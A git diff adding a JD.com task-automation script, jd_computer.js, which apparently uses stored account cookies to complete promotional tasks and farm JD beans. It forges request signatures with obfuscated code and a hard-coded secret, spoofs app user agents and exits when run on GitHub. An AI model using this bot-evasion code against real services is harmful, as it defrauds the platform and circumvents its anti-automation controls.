$loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_computer.js b/jd_computer.js new file mode 100644 index 0000000..f2e8470 --- /dev/null +++ b/jd_computer.js @@ -0,0 +1,464 @@ +/* +#电脑配件ID任务jd_computer,自行加入以下环境变量,多个ID用@连接 +export computer_activityIdList="17" + +即时任务,无需cron +*/ + +const $ = new Env('电脑配件通用ID任务'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +let activityIdList = ''; +let activityIdArr = []; +let activityId = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.computer_activityIdList) activityIdList = process.env.computer_activityIdList + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +allMessage = "" +message = "" +$.hotFlag = false +$.outFlag = 0 +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if (!activityIdList) { + $.log(`没有电脑配件ID,尝试获取远程`); + let data = await getData("https://gitee.com/KingRan521/JD-Scripts/raw/master/shareCodes/dlpj.json") + if (data && data.length) { + $.log(`获取到远程且有数据`); + activityIdList = data.join('@') + }else{ + $.log(`获取失败或当前无远程数据`); + return + } + } + MD5() + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + message = "" + $.bean = 0 + $.hotFlag = false + await getUA() + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + let activityIdArr = activityIdList.split("@"); + for (let j = 0; j < activityIdArr.length; j++) { + activityId = activityIdArr[j] + console.log(`电脑配件ID就位: ${activityId},准备开始薅豆`); + await run(); + if($.bean > 0 || message) { + let msg = `【京东账号${$.index}】${$.nickName || $.UserName}\n${$.bean > 0 && "获得"+$.bean+"京豆\n" || ""}${message}\n` + $.msg($.name, ``, msg); + allMessage += msg + } + } + } + if($.outFlag != 0) break + } + if(allMessage){ + $.msg($.name, ``, `${allMessage}\n`); + if ($.isNode()){ + await notify.sendNotify(`${$.name}`, `${allMessage}\n`); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +async function run() { + try { + $.list = '' + await indexInfo(); + if($.hotFlag) message += `活动太火爆\n` + if($.hotFlag) return + if($.list){ + for(let i in $.list || []){ + $.oneTask = $.list[i] + for(let j in $.oneTask.taskList || []){ + $.task = $.oneTask.taskList[j] + console.log(`[${$.oneTask.taskName}] ${$.task.name} ${$.task.status == 4 && '已完成' || $.task.status == 3 && '未领取' || '未完成'}`) + if($.task.status != 4) await doTask('doTask', $.task.id, $.oneTask.taskId); + if($.oneTask.taskId == 3 && $.task.status != 4){ + await $.wait(parseInt(Math.random() * 1000 + 6000, 10)) + await doTask('getPrize', $.task.id, $.oneTask.taskId); + } + if($.outFlag != 0) { + message += "\n京豆库存已空,退出脚本\n" + return + } + if($.task.status != 4) await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) + } + } + }else{ + console.log('获取不到任务') + } + await indexInfo(); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + if($.extraTaskStatus == 3 && $.outFlag == 0) await extraTaskPrize(); + await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) + } catch (e) { + console.log(e) + } +} + +function indexInfo() { + return new Promise(async resolve => { + let sign = getSign("/tzh/combination/indexInfo",{"activityId": activityId}) + $.get({ + url: `https://combination.m.jd.com/tzh/combination/indexInfo?activityId=${activityId}&t=${sign.timestamp}`, + headers: { + 'Accept': 'application/json, text/plain, */*', + 'Content-Type':'application/json;charset=utf-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + 'sign': sign.sign, + 'timestamp': sign.timestamp + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data) + if(typeof res == 'object'){ + if(res.code == 200 && res.data){ + $.list = res.data.list + $.extraTaskStatus = res.data.extraTaskStatus + + }else if(res.msg){ + if(res.msg.indexOf('活动太火爆') > -1){ + $.hotFlag = true + } + console.log(res.msg) + }else{ + console.log(`活动获取失败\n${data}`) + console.log(data) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function doTask(type, id, taskId) { + if($.outFlag != 0) return + return new Promise(async resolve => { + let sign = getSign(`/tzh/combination/${type}`,{"activityId": activityId,"id":id,"taskId":taskId}) + $.post({ + url: `https://combination.m.jd.com/tzh/combination/${type}`, + body: `activityId=${activityId}&id=${id}&taskId=${taskId}&t=${sign.timestamp}`, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': cookie, + 'User-Agent': $.UA, + 'sign': sign.sign, + 'timestamp': sign.timestamp + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data) + if(typeof res == 'object'){ + if(res.code == 200 && res.data){ + let msg = res.data.jdNum && res.data.jdNum+"京豆" || '' + if(res.data.jdNum){ + console.log(`获得 ${msg}`) + $.bean += Number(res.data.jdNum) || 0 + }else{ + console.log(data) + } + }else if(res.msg){ + if(res.msg.indexOf('活动太火爆') > -1){ + $.hotFlag = true + }else if(res.msg.indexOf('京豆已被抢光') > -1){ + message += res.msg+"\n" + $.outFlag = 1 + } + console.log(res.msg) + }else{ + console.log(`活动获取失败\n${data}`) + console.log(data) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function extraTaskPrize() { + if($.outFlag != 0) return + return new Promise(async resolve => { + let sign = getSign(`/tzh/combination/extraTaskPrize`,{"activityId": activityId}) + $.post({ + url: `https://combination.m.jd.com/tzh/combination/extraTaskPrize`, + body: `activityId=${activityId}&t=${sign.timestamp}`, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': cookie, + 'User-Agent': $.UA, + 'sign': sign.sign, + 'timestamp': sign.timestamp + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data) + if(typeof res == 'object'){ + if(res.code == 200 && res.data){ + let msg = res.data.jdNum && res.data.jdNum+"京豆" || '' + if(res.data.jdNum){ + console.log(`获得 ${msg}`) + $.bean += Number(res.data.jdNum) || 0 + }else{ + console.log(data) + } + }else if(res.msg){ + if(res.msg.indexOf('活动太火爆') > -1){ + $.hotFlag = true + } + console.log(res.msg) + }else{ + console.log(`活动获取失败\n${data}`) + console.log(data) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getData(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000) + resolve(); + }) +} +/* + *Progcessed By JSDec in 0.01s + *JSDec - JSDec.js.org + */ +function M(_0xc44a8f, _0x429a90, _0xdee559) { + var _0x4488a6 = { + 'CNgba': function(_0x215ac0, _0x215aad) { + return _0x215ac0 == _0x215aad; + }, + 'fzUrQ': 'string', + 'jqqVS': function(_0x287be6, _0x58e96c) { + return _0x287be6 + _0x58e96c; + }, + 'CAfDO': function(_0x38b00c, _0x1906ca) { + return _0x38b00c == _0x1906ca; + }, + 'ANdMj': 'object', + 'zEtiI': function(_0xba739d, _0x149c91) { + return _0xba739d(_0x149c91); + }, + 'pujRC': function(_0x5325b4, _0x2366cf) { + return _0x5325b4 + _0x2366cf; + }, + 'VxfTG': function(_0x5173a1, _0x5eb552) { + return _0x5173a1 + _0x5eb552; + }, + 'iRXRX': function(_0x411582, _0x32e553) { + return _0x411582 == _0x32e553; + }, + 'VoKLi': function(_0x1e1ab6, _0xc55723) { + return _0x1e1ab6 == _0xc55723; + }, + 'hodih': function(_0xa982a7, _0x531bdc) { + return _0xa982a7(_0x531bdc); + }, + 'dCNAc': function(_0x17dede, _0x2a2f62) { + return _0x17dede !== _0x2a2f62; + }, + 'TjWBq': 'ZBooW', + 'BEnKe': function(_0x390681, _0x2994f8) { + return _0x390681 + _0x2994f8; + }, + 'LBePY': function(_0x74c611, _0x49f5f4) { + return _0x74c611 + _0x49f5f4; + }, + 'llNkp': function(_0x302fe3, _0x5de6de) { + return _0x302fe3 + _0x5de6de; + } + }; + var _0x1f1f5c = '', + _0x110178 = _0xdee559['split']('?')[0x1] || ''; + if (_0xc44a8f) { + if (_0x4488a6['iRXRX'](_0x4488a6['fzUrQ'], typeof _0xc44a8f)) _0x1f1f5c = _0x4488a6['VxfTG'](_0xc44a8f, _0x110178); + else if (_0x4488a6['VoKLi'](_0x4488a6['ANdMj'], _0x4488a6['hodih'](x, _0xc44a8f))) { + if (_0x4488a6['dCNAc'](_0x4488a6['TjWBq'], _0x4488a6['TjWBq'])) { + if (_0x4488a6['CNgba'](_0x4488a6['fzUrQ'], typeof _0xc44a8f)) _0x1f1f5c = _0x4488a6['jqqVS'](_0xc44a8f, _0x110178); + else if (_0x4488a6['CAfDO'](_0x4488a6['ANdMj'], _0x4488a6['zEtiI'](x, _0xc44a8f))) { + var _0x3ff3f9 = []; + for (var _0x3a1019 in _0xc44a8f) _0x3ff3f9['push'](_0x4488a6['jqqVS'](_0x4488a6['pujRC'](_0x3a1019, '='), _0xc44a8f[_0x3a1019])); + _0x1f1f5c = _0x3ff3f9['length'] ? _0x4488a6['VxfTG'](_0x3ff3f9['join']('&'), _0x110178) : _0x110178; + } + } else { + var _0x407463 = []; + for (var _0x3f044c in _0xc44a8f) _0x407463['push'](_0x4488a6['BEnKe'](_0x4488a6['LBePY'](_0x3f044c, '='), _0xc44a8f[_0x3f044c])); + _0x1f1f5c = _0x407463['length'] ? _0x4488a6['LBePY'](_0x407463['join']('&'), _0x110178) : _0x110178; + } + } + } else _0x1f1f5c = _0x110178; + if (_0x1f1f5c) { + var _0xed2a35 = _0x1f1f5c['split']('&')['sort']()['join'](''); + return $['md5'](_0x4488a6['llNkp'](_0xed2a35, _0x429a90)); + return _0x4488a6['llNkp'](_0xed2a35, _0x429a90); + } + return $['md5'](_0x429a90); + return _0x429a90; +} + +function x(_0x543ed7) { + var _0x59f6a8 = { + 'mwjbO': function(_0x1d95c8, _0x185b22) { + return _0x1d95c8 === _0x185b22; + }, + 'qdkKz': 'function', + 'VPiUV': function(_0x44e857, _0x30eba3) { + return _0x44e857 === _0x30eba3; + }, + 'YVTeQ': function(_0x14d902, _0x3e6382) { + return _0x14d902 !== _0x3e6382; + }, + 'chONS': 'symbol', + 'HuNNH': function(_0x49e6ac, _0x3b178a) { + return _0x49e6ac === _0x3b178a; + }, + 'CYwxT': function(_0x3acb6a, _0x86b540) { + return _0x3acb6a === _0x86b540; + }, + 'EgeQW': function(_0x3eb366, _0x504ccf) { + return _0x3eb366(_0x504ccf); + } + }; + return x = _0x59f6a8['HuNNH'](_0x59f6a8['qdkKz'], typeof Symbol) && _0x59f6a8['CYwxT'](_0x59f6a8['chONS'], typeof Symbol['iterator']) ? function(_0x543ed7) { + return typeof _0x543ed7; + } : function(_0x543ed7) { + return _0x543ed7 && _0x59f6a8['mwjbO'](_0x59f6a8['qdkKz'], typeof Symbol) && _0x59f6a8['VPiUV'](_0x543ed7['constructor'], Symbol) && _0x59f6a8['YVTeQ'](_0x543ed7, Symbol['prototype']) ? _0x59f6a8['chONS'] : typeof _0x543ed7; + }, _0x59f6a8['EgeQW'](x, _0x543ed7); +} + +function getSign(_0x275690, _0x3d87d0) { + var _0x574204 = { + 'HwKtx': '07035cabb84lm694', + 'esyRZ': function(_0x3b0b1b, _0x1b2926) { + return _0x3b0b1b + _0x1b2926; + }, + 'FyOHq': function(_0x37ac02, _0x313227, _0xc09a5c, _0x49ff18) { + return _0x37ac02(_0x313227, _0xc09a5c, _0x49ff18); + } + }; + let _0x3df4f3 = new Date()['getTime'](); + _0x3d87d0['t'] = _0x3df4f3; + var _0x25b268 = _0x574204['HwKtx']; + var _0x3c4a45 = _0x3df4f3, + _0x553e06 = _0x574204['esyRZ'](_0x25b268, _0x3c4a45); + let _0x70c008 = { + 'sign': _0x574204['FyOHq'](M, _0x3d87d0, _0x553e06, _0x275690), + 'timestamp': _0x3c4a45 + }; + return _0x70c008; +}; +_0xod9 = 'jsjiami.com.v6' + +function MD5(){ + // MD5 + !function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +} + + + +async function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const 